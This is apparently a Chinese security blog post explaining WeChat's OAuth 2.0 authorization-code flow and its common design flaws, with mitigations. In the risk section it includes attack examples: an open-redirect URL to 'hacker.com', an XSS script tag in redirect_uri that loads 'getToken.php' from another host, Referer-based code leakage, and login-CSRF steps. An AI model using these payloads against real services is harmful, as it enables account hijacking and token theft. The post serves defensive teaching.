OAuth2.0安全設計之Authorization Code

bamb00發表於2021-02-27

OAuth 2.0 有 4 種認證流程:

  • 授權碼模式(authorization code)
  • 簡化模式(implicit)
  • 密碼模式(resource owner password credentials)
  • 客戶端模式(client credentials)

下面以微信為例介紹最常見的也是最安全的 Authorization Code認證流程。

一、授權流程說明

       微信OAuth2.0授權登入讓微信使用者使用微信身份安全登入第三方應用或網站,在微信使用者授權登入已接入微信OAuth2.0的第三方應用後,第三方可以獲取到使用者的介面呼叫憑證(access_token),
通過access_token可以進行微信開放平臺授權關係介面呼叫,從而可實現獲取微信使用者基本開放資訊和幫助使用者實現基礎開放功能等。
  微信OAuth2.0授權登入目前支援authorization_code模式,適用於擁有server端的應用授權。該模式整體流程為:

       獲取access_token時序圖:

    

二、具體實現過程

下面具體介紹一下微信對這個協議的具體實現過程。

第1步:開發者在微信開放平臺申請接入併成功獲取到appid和AppSecret,並配置回撥域名。

第2步:構造微信登入二維碼的超連結如下:

引數說明
引數
是否必須
說明

appid

應用唯一標識(前面認證網頁應用中獲得)

redirect_uri

重定向地址,需要進行UrlEncode(前面認證網頁應用中獲得)

response_type

填code

scope

應用授權作用域,擁有多個作用域用逗號(,)分隔,網頁應用目前僅填寫snsapi_login即可

state

用於保持請求和回撥的狀態,授權請求後原樣帶回給第三方。該引數可用於防止csrf攻擊(跨站請求偽造攻擊),建議第三方帶上該引數,可設定為簡單的隨機數加session進行校驗

 返回說明

 使用者允許授權後,將會重定向到redirect_uri的網址上,並且帶上code和state引數

redirect_uri?code=CODE&state=STATE

若使用者禁止授權,則重定向後不會帶上code引數,僅會帶上state引數

redirect_uri?state=STATE

實際抓包示例:

https://open.weixin.qq.com/connect/qrconnect?response_type=code&appid=wx2198c66352420194&redirect_uri=https%3A%2F%2Fpassform.test.com%2Fv3%2Fweb%2Flogin%2FwechatCallBack%3FisPc%3D1%26randomNum%3D%26redirect_uri%3Dhttps%253A%252F%252Fwww.test.com%252F%253Fopenid%253D33336839a7398ce8%26client_id%3D30&scope=snsapi_login&state=1614336736067

其中appid引數為開發者在第一步中申請到的appid, scope引數為授權應用的許可權列表,redirect_uri為授權成功後的回撥地址。


第3步:假如使用者同意授權,在微信登入成功後會跳轉到redirect_uri引數指定的URL,並在URL尾部追加code引數(即Authorization Code),如上述示例則會跳轉到:

https://passform.test.com/v3/web/login/wechatCallBack?isPc=1&randomNum=&redirect_uri=https%3A%2F%2Fwww.test.com%2F%3Fopenid%3D33336839a7398ce8&client_id=30&code=053isZFa12PMAA0NVeGa1yR9300isZFe&state=1614336736067

然後,我們可以通過Authorization Code去獲取使用者openid和access_token,進而獲得使用者的資訊。

第4步:通過Authorization Code獲取Access Token和openid,伺服器端構造如下請求即可獲取Access Token和openid:

引數解釋如下:

grant_type

授權型別,此值固定為“authorization_code”。

client_id

申請微信登入成功後,分配給網站的appid。

client_secret

申請微信登入成功後,分配給網站的appkey。

code

上一步返回的Authorization Code。

redirect_uri

與上面一步中傳入的redirect_uri保持一致。

返回說明
正確的返回:
{
    "access_token":"ACCESS_TOKEN",
    "expires_in":7200,
    "refresh_token":"REFRESH_TOKEN",
    "openid":"OPENID",
    "scope":"SCOPE",
    "unionid": "o6_bmasdasdsad6_2sgVt7hMZOPfL"
}
引數說明:

引數

說明

access_token

介面呼叫憑證

expires_in

access_token介面呼叫憑證超時時間,單位(秒)

refresh_token

使用者重新整理access_token

openid

授權使用者唯一標識

scope

使用者授權的作用域,使用逗號(,)分隔

unionid

當且僅當該網站應用已獲得該使用者的userinfo授權時,才會出現該欄位。

錯誤返回樣例:
{"errcode":40029,"errmsg":"invalid code"}

第5步:使用Access Token以及OpenID來訪問使用者資料

構造如下請求即可訪問使用者資料:
引數說明

引數

是否必須

說明

access_token

呼叫憑證(上一個請求中獲得)

openid

普通使用者的標識,對當前開發者帳號唯一(上一個請求中獲得)

lang

國家地區語言版本,zh_CN 簡體,zh_TW 繁體,en 英語,預設為zh-CN

返回說明
正確的Json返回結果:
{
    "openid":"OPENID",
    "nickname":"NICKNAME",
    "sex":1,
    "province":"PROVINCE",
    "city":"CITY",
    "country":"COUNTRY",
    "privilege":[
        "PRIVILEGE1",
        "PRIVILEGE2"
    ],
    "unionid": " o6_bmasdasdsad6_2sgVt7hMZOPfL"
}

引數

說明

openid

普通使用者的標識,對當前開發者帳號唯一

nickname

普通使用者暱稱

sex

普通使用者性別,1為男性,2為女性

province

普通使用者個人資料填寫的省份

city

普通使用者個人資料填寫的城市

country

國家,如中國為CN

headimgurl

使用者頭像,最後一個數值代表正方形頭像大小(有0、46、64、96、132數值可選,0代表640*640正方形頭像),使用者沒有頭像時該項為空

privilege

使用者特權資訊,json陣列,如微信沃卡使用者為(chinaunicom)

unionid

使用者統一標識。針對一個微信開放平臺帳號下的應用,同一使用者的unionid是唯一的。

錯誤的Json返回示例:
{ 
     "errcode":40003,"errmsg":"invalid openid"
}

三、常見不安全設計造成的風險

風險1:redirect_uri回撥域名欺騙

(1)未驗證redirect_uri是否與註冊的回撥地址匹配

在上述實現的第二步中將redirect_uri修改為攻擊者控制站點,使用者在授權登入後將攜帶Authorization Code跳轉到攻擊者控制站點,攻擊者從URL引數中即可獲得Authorization Code並實現使用者劫持。服務端必須驗證client_id(APPID)和redirect_uri規定的域一致,如果不一致則無法登陸
其實騰訊在實現第三方登入接入的時候早就考慮過這種老套的攻擊方式,於是,開發者在整合微信登入時必須在微信開放平臺上填寫網站的回撥地址,在進行登入驗證的時候如果redirect_uri中的值與設定好的回撥地址不同則會拒絕訪問:


這樣就防止了攻擊者篡改redirect_uri為惡意站點的釣魚攻擊。

但是現在又提出了一種看似合理的繞過方法:

利用合法網站的URL重定向漏洞繞過redirect_uri中的域名白名單限制。

假設我有一個合法的網站whitehat.com,攻擊者控制一個惡意站點hacker.com

攻擊者可以構造這樣一個連結來繞過redirect_uri中的域名白名單限制:

http://whitehat.com/index.php?Redirect=http%3a%2f%2fhacker.com%2findex.php

其中Redirect引數指定的為重定向地址

這樣的話,把這個URL地址傳給redirect_uri即可構造一個惡意連結,實現使用者授權微信登入後跳轉到hacker.com

但是使用者的授權令牌Authorization Code真的會被傳送到hacker.com嗎?

我們把上述URL傳給redirect_uri,跳轉到的URL地址如下:

http://whitehat.com/index.php?Redirect=http%3a%2f%2fhacker.com%2findex.php?code=****

細心的人已經發現了,這個連結還是跳轉到http://hacker.com/index.php而不是http://hacker.com/index.php?code=****

這是因為code引數前面的&符號沒有URL編碼,因此code引數被whitehat.com處理而不是屬於Redirect引數的一部分。

因此,第一種攻擊模型只能用來構造登入後的釣魚攻擊,通常情況下Authorization Code不會被傳送到攻擊者控制的站點中

(2)未設定Authorization Code使用一次就失效

將第二步實現的redirect_uri改為可以引入外鏈的合法URL地址,這樣當合法使用者登入後載入此頁面的外鏈時,攻擊者就可以從其控制的伺服器中在referer訊息頭中獲得洩露的Authorization Code。據說這種攻擊方法橫掃國內各大站點,這個攻擊方法在此RFC文件的Security Considerations中已經提到過:

OAuth2.0安全設計之Authorization Code

同時也給出了相應的安全建議:

OAuth2.0安全設計之Authorization Code

即Authorization Code在獲取後必須在短時間內失效而且只能被使用一次。這種方法在理論上確實可以有效的阻止上述的攻擊方式,情景分析如下:

(1)攻擊者構造惡意連結傳送給使用者,其中redirect_uri=http://bbs.test.com/index.php
(2)使用者點選連結登入後,回撥地址為:http://bbs.test.com/index.php?code=****
(3)使用者攜帶code向伺服器傳送請求載入此頁面,載入的頁面中含有攻擊者放置的外鏈(例如頭像中的圖片連結等),使用者載入外鏈中的圖片,攻擊者從referer訊息頭中獲得使用者的code

由於Authorization Code是通過redirect_uri瀏覽器回撥傳輸,容易被擷取,伺服器生成的臨時Authorization Code必須是一次有效,客戶端使用一次後立即失效並且有效期很短,一般推薦30s有效期,可以保證臨時Authorization Code被客戶端正常消費後不會被再次使用

風險2:redirect_url XSS跨域攻擊

比如構造一個認證請求,redirect_uri = http://app.com/test?callback=<script src="http://app2.com?getToken.php"></script>

伺服器端需要對redirect_uri進行檢查禁止特殊字元輸入,並且對redirect_uri進行全匹配,不做模糊匹配可以杜絕XSS攻擊。

風險3:未新增State 防止CSRF

第2步認證請求url中state引數是最容易被忽略的,大部分IDP不會強制要求客戶端使用state引數。與 CSRF 攻擊類似,如果 state 引數為空,作為攻擊者,

1. 先申請一個新的,專門用於攻擊他人的賬號;
2. 然後走正常流程,跳到微信上去登入此賬號;
3. 登入成功之後,微信帶著 code 回跳到第三方站點,如www.test.com,這個時候,攻擊者攔截自己的請求讓他不再往下進行,而直接將帶 code 的連結發給受害者,並欺騙受害者點選;
4. 受害人點選連結之後,繼續攻擊者賬號的登入流程,不知不覺登入了攻擊者的賬號

受害者如果這個時候沒察覺此賬號不是他本人的,傳了一些隱私檔案,如照片啥的,攻擊者立馬就能通過自己的賬號看到。

而 state 引數如果利用起來,當作 CSRF Token,就能避免此事的發生:

1. 攻擊者依舊獲取 code 並打算騙受害者點選
2. 受害者點選連結,但因伺服器(比如 www.test.com)分配給受害者的裝置的 state 值和連結裡面的(分配給攻擊者的)state 值不一樣,伺服器(test.com)直接返回驗證 state 失敗。

所以安全的實現是:

客戶端每次請求生成唯一字串在請求中放到state引數中,服務端認證成功返回Authorization Code會帶上state引數,客戶端驗證state是否是自己生成的唯一串,可以確定這次請求是有客戶端真實發出的,不是黑客偽造的請求

風險4:Access_Token洩露

  • 由於Access_Token是通過http協議從伺服器端傳輸給客戶端,為了防止旁路監聽洩露Access_Token,伺服器必須提供https來保證傳輸通道的安全性(TSL的要求)
  • 客戶端獲取Access_Token,應該在後臺與服務端互動獲取Access_Token,不允許Access_Token傳給前端直接使用
  • 需要保證Access_Token資訊的不可猜測性,以防止被猜測得到

風險5:令牌有效性漏洞

  • 維持refresh_token和第三方應用的繫結,重新整理失效機制的設計不允許長期有效的token存在;

四、增強OAuth2.0協議設計及使用規範

OAuth2.0協議安全性進行進一步增強。

  • 對頒發出去的token許可權進行限制,不同使用者申請的token根據人員所屬組織、角色、崗位進行資料隔離
  • 對登入過程安全性增強,對登入驗證方式進行豐富,支援靜態密碼、手機驗證碼、OTP、生物識別、FIDO
  • 對Token頒發後的生命週期管理,可以按策略主動登出頒發的Token
  • 對使用OAuth過程進行行為分析,對登入過程進行風險識別
  • 按照不同應用的安全等級進行分級,不同安全級別應用實現二次認證,保障關鍵系統的安全訪問

參考資料:

https://cloud.tencent.com/developer/article/1447723
https://www.anquanke.com/post/id/98392
https://www.freebuf.com/articles/web/252254.html
https://xz.aliyun.com/t/2260
https://wooyun.js.org/drops/OAuth%202.0%E5%AE%89%E5%85%A8%E6%A1%88%E4%BE%8B%E5%9B%9E%E9%A1%BE.html

相關文章